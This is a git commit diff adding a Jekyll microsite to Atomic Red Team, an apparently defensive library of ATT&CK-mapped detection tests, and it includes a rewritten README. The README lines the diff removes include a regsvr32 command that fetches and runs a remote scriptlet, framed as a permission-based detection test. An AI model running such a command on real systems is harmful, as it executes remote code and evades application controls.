Add microsite (#250)
* first cut of microsite pages * fix a bunch of stuff to clean up look and feel * Initial checkin. * add header * add philosophy and images * add favicon
This commit is contained in:
Brian Beyer
@@ -3,3 +3,6 @@
|
||||
.vscode
|
||||
.atom
|
||||
atomic-red-team/enterprise-attack.json
|
||||
|
||||
docs/.sass-cache/
|
||||
docs/_site/
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
#source "https://rubygems.org"
|
||||
source "https://rubygems.org"
|
||||
gemspec
|
||||
+240
-1
@@ -4,13 +4,252 @@ PATH
|
||||
atomic-red-team (1.0)
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (4.2.10)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.2)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.9)
|
||||
ruby-enum (~> 0.5)
|
||||
concurrent-ruby (1.0.5)
|
||||
dnsruby (1.60.2)
|
||||
em-websocket (0.5.1)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.11.0)
|
||||
ffi (>= 1.3.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.7.0)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.25)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.0)
|
||||
github-pages (186)
|
||||
activesupport (= 4.2.10)
|
||||
github-pages-health-check (= 1.8.1)
|
||||
jekyll (= 3.7.3)
|
||||
jekyll-avatar (= 0.5.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.5)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.9.3)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.9.4)
|
||||
jekyll-mentions (= 1.3.0)
|
||||
jekyll-optional-front-matter (= 0.3.0)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
jekyll-readme-index (= 0.2.0)
|
||||
jekyll-redirect-from (= 0.13.0)
|
||||
jekyll-relative-links (= 0.5.3)
|
||||
jekyll-remote-theme (= 0.3.1)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.4.0)
|
||||
jekyll-sitemap (= 1.2.0)
|
||||
jekyll-swiss (= 0.4.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.1)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.3)
|
||||
jekyll-theme-slate (= 0.1.1)
|
||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-titles-from-headings (= 0.5.1)
|
||||
jemoji (= 0.9.0)
|
||||
kramdown (= 1.16.2)
|
||||
liquid (= 4.0.0)
|
||||
listen (= 3.1.5)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.4.1)
|
||||
nokogiri (>= 1.8.2, < 2.0)
|
||||
rouge (= 2.2.1)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.8.1)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (~> 2.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.8.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.7.3)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (~> 0.7)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (~> 1.14)
|
||||
liquid (~> 4.0)
|
||||
mercenary (~> 0.3.3)
|
||||
pathutil (~> 0.9)
|
||||
rouge (>= 1.7, < 4)
|
||||
safe_yaml (~> 1.0)
|
||||
jekyll-avatar (0.5.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.2.0)
|
||||
commonmarker (~> 0.14)
|
||||
jekyll (>= 3.0, < 4.0)
|
||||
jekyll-commonmark-ghpages (0.1.5)
|
||||
commonmarker (~> 0.17.6)
|
||||
jekyll-commonmark (~> 1)
|
||||
rouge (~> 2)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.9.3)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-gist (1.5.0)
|
||||
octokit (~> 4.2)
|
||||
jekyll-github-metadata (2.9.4)
|
||||
jekyll (~> 3.1)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-mentions (1.3.0)
|
||||
activesupport (~> 4.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-optional-front-matter (0.3.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-paginate (1.1.0)
|
||||
jekyll-readme-index (0.2.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-redirect-from (0.13.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-relative-links (0.5.3)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-remote-theme (0.3.1)
|
||||
jekyll (~> 3.5)
|
||||
rubyzip (>= 1.2.1, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.4.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-sitemap (1.2.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-swiss (0.4.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.3)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.1)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-watch (2.0.0)
|
||||
listen (~> 3.0)
|
||||
jemoji (0.9.0)
|
||||
activesupport (~> 4.0, >= 4.2.9)
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (~> 3.0)
|
||||
kramdown (1.16.2)
|
||||
liquid (4.0.0)
|
||||
listen (3.1.5)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
ruby_dep (~> 1.2)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.3.0)
|
||||
minima (2.4.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.11.3)
|
||||
multipart-post (2.0.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.1)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (2.0.5)
|
||||
rb-fsevent (0.10.3)
|
||||
rb-inotify (0.9.10)
|
||||
ffi (>= 0.5.0, < 2)
|
||||
rouge (2.2.1)
|
||||
ruby-enum (0.7.2)
|
||||
i18n
|
||||
ruby_dep (1.5.0)
|
||||
rubyzip (1.2.1)
|
||||
safe_yaml (1.0.4)
|
||||
sass (3.5.6)
|
||||
sass-listen (~> 4.0.0)
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
terminal-table (1.8.0)
|
||||
unicode-display_width (~> 1.1, >= 1.1.1)
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.3.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
unicode-display_width (1.4.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
atomic-red-team!
|
||||
github-pages
|
||||
|
||||
BUNDLED WITH
|
||||
1.13.7
|
||||
1.16.1
|
||||
|
||||
@@ -3,204 +3,58 @@
|
||||
# Atomic Red Team
|
||||
[](https://circleci.com/gh/redcanaryco/atomic-red-team)
|
||||
|
||||
Atomic Red Team is small, highly portable, community developed detection tests mapped to
|
||||
[Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page). *ATT&CK was created by and is a
|
||||
trademark of The MITRE Corporation.*
|
||||
Atomic Red Team allows every security team to test their controls by executing simple
|
||||
"atomic tests" that exercise the same techniques used by adversaries (all mapped to
|
||||
[Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page)).
|
||||
|
||||
**Table of Contents:**
|
||||
1. [Quick Start: Using Atomic Red Team to test your security](#quick-start-using-atomic-red-team-to-test-your-security)
|
||||
2. [Contributing Guide](https://github.com/redcanaryco/atomic-red-team/blob/master/CONTRIBUTIONS.md)
|
||||
3. [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team)
|
||||
1. [Using the Atomic Red Team Ruby API](#using-the-atomic-red-team-ruby-api)
|
||||
2. [Bonus APIs: Ruby ATT&CK API](#bonus-apis-ruby-attck-api)
|
||||
3. [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/blob/master/execution-frameworks)
|
||||
## Philosophy
|
||||
|
||||
## Quick Start: Using Atomic Red Team to test your security
|
||||
Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are
|
||||
focused, have few dependencies, and are defined in a structured format that be used by automation frameworks.
|
||||
|
||||
Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test
|
||||
is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start
|
||||
testing their defenses against a broad spectrum of attacks.
|
||||
Three key beliefs made up the Atomic Red Team charter:
|
||||
- **Teams need to be able to test everything from specific technical controls to outcomes.**
|
||||
Our security teams do not want to operate with a “hopes and prayers” attitude toward detection. We need to know
|
||||
what our controls and program can detect, and what it cannot. We don’t have to detect every adversary, but we
|
||||
do believe in knowing our blind spots.
|
||||
|
||||
### Best Practices
|
||||
- **We should be able to run a test in less than five minutes.**
|
||||
Most security tests and automation tools take a tremendous amount of time to install, configure, and execute.
|
||||
We coined the term "atomic tests" because we felt there was a simple way to decompose tests so most could be
|
||||
run in a few minutes.
|
||||
|
||||
* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision
|
||||
and can potentially be a resume-generating event.
|
||||
The best test is the one you actually run.
|
||||
|
||||
* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR
|
||||
solution in place, and that the endpoint is checking in and active.
|
||||
- **We need to keep learning how adversaries are operating.**
|
||||
Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing
|
||||
their desk every day. Even we at Red Canary only come across a fraction of the possible techniques being used,
|
||||
which makes the community working together essential to making us all better.
|
||||
|
||||
* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to
|
||||
execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.
|
||||
See: https://atomicredteam.io/philosophy
|
||||
|
||||
### Getting Started
|
||||
## Having trouble?
|
||||
|
||||
Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific
|
||||
matrices linking to Atomic Tests can be found here:
|
||||
Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com)
|
||||
|
||||
- [Complete list of Atomic Tests](atomics/index.md)
|
||||
- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md)
|
||||
- Tests for Windows
|
||||
- [List of Atomic Tests](atomics/windows-index.md)
|
||||
- [ATT&CK Matrix](atomics/windows-matrix.md)
|
||||
- Tests for macOS
|
||||
- [List of Atomic Tests](atomics/macos-index.md)
|
||||
- [ATT&CK Matrix](atomics/macos-matrix.md)
|
||||
- Tests for Linux
|
||||
- [List of Atomic Tests](atomics/linux-index.md)
|
||||
- [ATT&CK Matrix](atomics/linux-matrix.md)
|
||||
## Getting Started
|
||||
|
||||
Once you have selected an Atomic Test, we suggest you take a three phase approach to running the test and evaluating results:
|
||||
* [Quick Start: Using Atomic Red Team to test your security](#quick-start-using-atomic-red-team-to-test-your-security)
|
||||
* Peruse the [Complete list of Atomic Tests](atomics/index.md) and the [ATT&CK Matrix](atomics/matrix.md)
|
||||
- Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md)
|
||||
- macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md)
|
||||
- Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md)
|
||||
* [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://atomicredteam.io/contributing/) your own modifications
|
||||
* [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team)
|
||||
* [Using the Atomic Red Team Ruby API](#using-the-atomic-red-team-ruby-api)
|
||||
* [Bonus APIs: Ruby ATT&CK API](#bonus-apis-ruby-attck-api)
|
||||
* [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/blob/master/execution-frameworks)
|
||||
* Have questions? Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com)
|
||||
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
### Phase 1: Execute Test
|
||||
In order to have a more open and welcoming community, Atomic Red Team adheres to a
|
||||
[code of conduct](CODE_OF_CONDUCT.md).
|
||||
|
||||
In this example we will use Technique T1117 "Regsvr32" and Atomic Test "Regsvr32 remote COM scriptlet execution". This particular
|
||||
test is fairly easy to exercise since the tool is on all Windows workstations by default.
|
||||
## License
|
||||
|
||||
The details of this test, [which are located here](atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution),
|
||||
describe how you can test your detection by simply running the below command:
|
||||
|
||||
```
|
||||
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll
|
||||
```
|
||||
|
||||
### Phase 2: Collect Evidence
|
||||
|
||||
What does your security solution observe?
|
||||
- You may see a file modification in the user’s profile.
|
||||
- You may detect network connections made by regsvr32.exe to an external IP.
|
||||
- There may be an entry in the proxy logs.
|
||||
- You may observe the scrobj.dll loading on Windows.
|
||||
- Or you might not observe any behavior on the endpoint or network.
|
||||
|
||||
This is why we test! We want to identify visibility gaps and determine where we need to make improvements.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Phase 3: Develop Detection
|
||||
|
||||
So you executed the test and none of your defenses fired – that’s why we test! Based on your observations
|
||||
and detection capabilities, it is time to use what you have to try to detect this event in your environment.
|
||||
|
||||
|
||||
|
||||
Once the detection is built, it is time to validate that the detection is working and that it is appropriately
|
||||
tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression,
|
||||
you are going to be digging out from a mountain of false positives. But if you write it too narrow and it
|
||||
only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly
|
||||
modify their command line to evade your detection.
|
||||
|
||||
### Measure Progress
|
||||
|
||||
One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez ([@cyb3rWar0g](https://twitter.com/Cyb3rWard0g)) provided [this spreadsheet](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/blob/master/metrics/HuntTeam_HeatMap.xlsx) and complementary [blog post](https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html) showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Doing more with Atomic Red Team
|
||||
### Using the Atomic Red Team Ruby API
|
||||
|
||||
Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating
|
||||
documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests
|
||||
in your test execution framework.
|
||||
|
||||
Add atomic-red-team to your Gemfile:
|
||||
```
|
||||
gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master
|
||||
```
|
||||
|
||||
#### Examples:
|
||||
##### Example: print all the Atomic Tests by ATT&CK technique
|
||||
```
|
||||
require 'atomic_red_team'
|
||||
|
||||
AtomicRedTeam.new.atomic_tests.each do |atomic_yaml|
|
||||
puts "#{atomic_yaml['attack_technique']}"
|
||||
atomic_yaml['atomic_tests'].each do |atomic_test_yaml|
|
||||
puts " #{atomic_test_yaml['name']}"
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
##### Example: Show what atomic tests we have for a specific ATT&CK technique
|
||||
```
|
||||
require 'atomic_red_team'
|
||||
|
||||
AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml|
|
||||
puts "#{atomic_test_yaml['name']}"
|
||||
end
|
||||
```
|
||||
|
||||
For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`.
|
||||
|
||||
### Bonus APIs: Ruby ATT&CK API
|
||||
Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located
|
||||
on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json).
|
||||
|
||||
We created a lightweight wrapper around that data structure to make it simple to consume. If you
|
||||
would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api),
|
||||
and then:
|
||||
|
||||
```
|
||||
$ bundle exec irb
|
||||
2.2.0 :001 > require 'attack_api'
|
||||
```
|
||||
|
||||
Get all the techniques
|
||||
```
|
||||
2.2.0 :020 > Attack.new.techniques.count
|
||||
=> 219
|
||||
```
|
||||
|
||||
Get information about a technique by it's friendly identifier
|
||||
```
|
||||
2.2.0 :006 > Attack.new.technique_info('T1117')
|
||||
=> {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister
|
||||
object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can
|
||||
be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this
|
||||
functionality to proxy" <SNIP> }
|
||||
|
||||
2.2.0 :007 > Attack.new.technique_info('T1117').keys
|
||||
=> ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created",
|
||||
"created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed",
|
||||
"x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"]
|
||||
```
|
||||
|
||||
Get a map of ATT&CK Tactic to all the Techniques associated with it
|
||||
```
|
||||
2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"}
|
||||
persistence has 56 techniques
|
||||
defense-evasion has 59 techniques
|
||||
privilege-escalation has 28 techniques
|
||||
discovery has 19 techniques
|
||||
credential-access has 20 techniques
|
||||
execution has 31 techniques
|
||||
lateral-movement has 17 techniques
|
||||
collection has 13 techniques
|
||||
exfiltration has 9 techniques
|
||||
command-and-control has 21 techniques
|
||||
initial-access has 10 techniques
|
||||
```
|
||||
|
||||
My favorite: Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows:
|
||||
```
|
||||
2.2.0 :062 > Attack.new.ordered_tactics
|
||||
=> ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access",
|
||||
"discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"]
|
||||
|
||||
2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')};
|
||||
Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port
|
||||
Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media
|
||||
Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy
|
||||
<SNIP>
|
||||
, , Winlogon Helper DLL, , Timestomp, , , , , ,
|
||||
, , , , Trusted Developer Utilities, , , , , ,
|
||||
, , , , Valid Accounts, , , , , ,
|
||||
, , , , Web Service, , , , , ,
|
||||
```
|
||||
See the [LICENSE](https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt) file.
|
||||
@@ -10,4 +10,6 @@ Gem::Specification.new do |s|
|
||||
s.files = %w(atomic-red-team.gemspec) + Dir['{atomic_red_team}/**/*', '*.md', 'bin/*']
|
||||
s.test_files = Dir['spec/**/*']
|
||||
s.require_paths = %w(atomic_red_team)
|
||||
|
||||
s.add_development_dependency 'github-pages'
|
||||
end
|
||||
@@ -1 +1,13 @@
|
||||
title: Atomic Red Team
|
||||
description: |
|
||||
Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are
|
||||
focused, have few dependencies, and are defined in a structured format that be used by automation frameworks.
|
||||
show_downloads: true
|
||||
google_analytics:
|
||||
theme: jekyll-theme-cayman
|
||||
github:
|
||||
is_project_page: true
|
||||
repository_url: https://github.com/redcanaryco/atomic-red-team
|
||||
repository_name: Atomic Red Team
|
||||
owner_name: Red Canary
|
||||
owner_url: https://github.com/redcanaryco
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="{{ site.lang | default: "en-US" }}">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
|
||||
{% seo %}
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="theme-color" content="#157878">
|
||||
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
|
||||
<link rel="icon" type="image/png" href="assets/images/favicon.png">
|
||||
</head>
|
||||
<body>
|
||||
<section class="page-header" style="background-image: url('https://redcanary.com/wp-content/uploads/product-features-bg.png');
|
||||
background-position: center center; background-size: cover ">
|
||||
<div style="margin-bottom: 20px;">
|
||||
<div style="display: inline-block; width: 300px;">
|
||||
<img src="https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png" width="200px"/>
|
||||
</div>
|
||||
<div style="display: inline-block; width: 60%; max-width: 750px; text-align: left">
|
||||
<h1 class="project-name">{{ site.title | default: site.github.repository_name }}</h1>
|
||||
<h2 class="project-tagline">{{ site.description | default: site.github.project_tagline }}</h2>
|
||||
</div>
|
||||
</div>
|
||||
<a href="/" class="btn">Philosophy</a>
|
||||
<a href="use-cases" class="btn">Use Cases</a>
|
||||
<a href="testing" class="btn">Get Started</a>
|
||||
<a href="contributing" class="btn">Contributing</a>
|
||||
<a href="apis-execution-frameworks" class="btn">APIs & Execution Frameworks</a>
|
||||
<a href="{{ site.github.repository_url }}" class="btn">View on GitHub</a>
|
||||
<a href="http://slack.atomicredteam.io" class="btn">Join on Slack</a>
|
||||
</section>
|
||||
|
||||
<section class="main-content">
|
||||
{{ content }}
|
||||
|
||||
<footer class="site-footer" style="text-align: center; margin-top: 100px">
|
||||
<a href="{{ site.github.repository_url }}">{{ site.github.repository_name }}</a> is maintained by
|
||||
<p><a href="https://www.redcanary.com"><img src="https://redcanary.com/wp-content/uploads/header_logo1.png" height="50px" alt="Red Canary"/></a></p>
|
||||
</footer>
|
||||
</section>
|
||||
|
||||
{% if site.google_analytics %}
|
||||
<script>
|
||||
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
|
||||
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
|
||||
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
|
||||
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
|
||||
ga('create', '{{ site.google_analytics }}', 'auto');
|
||||
ga('send', 'pageview');
|
||||
</script>
|
||||
{% endif %}
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,111 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Using the Atomic Red Team APIs
|
||||
Atomic Red Team includes a Ruby API we use to validate atomic tests, generate docs, and
|
||||
[interact with ATT&CK](#bonus-apis-ruby-attck-api).
|
||||
|
||||
> Want to contribute APIs for another language such as Python or Powershell?
|
||||
Follow the interface in `atomic_red_team/atomic_red_team.rb` and submit a pull request!
|
||||
|
||||
## Ruby API
|
||||
|
||||
Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating
|
||||
documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests
|
||||
in your test execution framework.
|
||||
|
||||
### Installing
|
||||
Add atomic-red-team to your Gemfile:
|
||||
```ruby
|
||||
gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master
|
||||
```
|
||||
|
||||
### Example: print all the Atomic Tests by ATT&CK technique
|
||||
```ruby
|
||||
require 'atomic_red_team'
|
||||
|
||||
AtomicRedTeam.new.atomic_tests.each do |atomic_yaml|
|
||||
puts "#{atomic_yaml['attack_technique']}"
|
||||
atomic_yaml['atomic_tests'].each do |atomic_test_yaml|
|
||||
puts " #{atomic_test_yaml['name']}"
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
### Example: Show what atomic tests we have for a specific ATT&CK technique
|
||||
```ruby
|
||||
require 'atomic_red_team'
|
||||
|
||||
AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml|
|
||||
puts "#{atomic_test_yaml['name']}"
|
||||
end
|
||||
```
|
||||
|
||||
For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`.
|
||||
|
||||
## Bonus APIs: Ruby ATT&CK API
|
||||
Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located
|
||||
on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json).
|
||||
|
||||
We created a lightweight wrapper around that data structure to make it simple to consume. If you
|
||||
would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api),
|
||||
and then:
|
||||
|
||||
```ruby
|
||||
$ bundle exec irb
|
||||
2.2.0 :001 > require 'attack_api'
|
||||
```
|
||||
|
||||
### Example: Get all the techniques
|
||||
```ruby
|
||||
2.2.0 :020 > Attack.new.techniques.count
|
||||
=> 219
|
||||
```
|
||||
|
||||
### Example: Get information about a technique by it's friendly identifier
|
||||
```ruby
|
||||
2.2.0 :006 > Attack.new.technique_info('T1117')
|
||||
=> {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister
|
||||
object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can
|
||||
be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this
|
||||
functionality to proxy" <SNIP> }
|
||||
|
||||
2.2.0 :007 > Attack.new.technique_info('T1117').keys
|
||||
=> ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created",
|
||||
"created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed",
|
||||
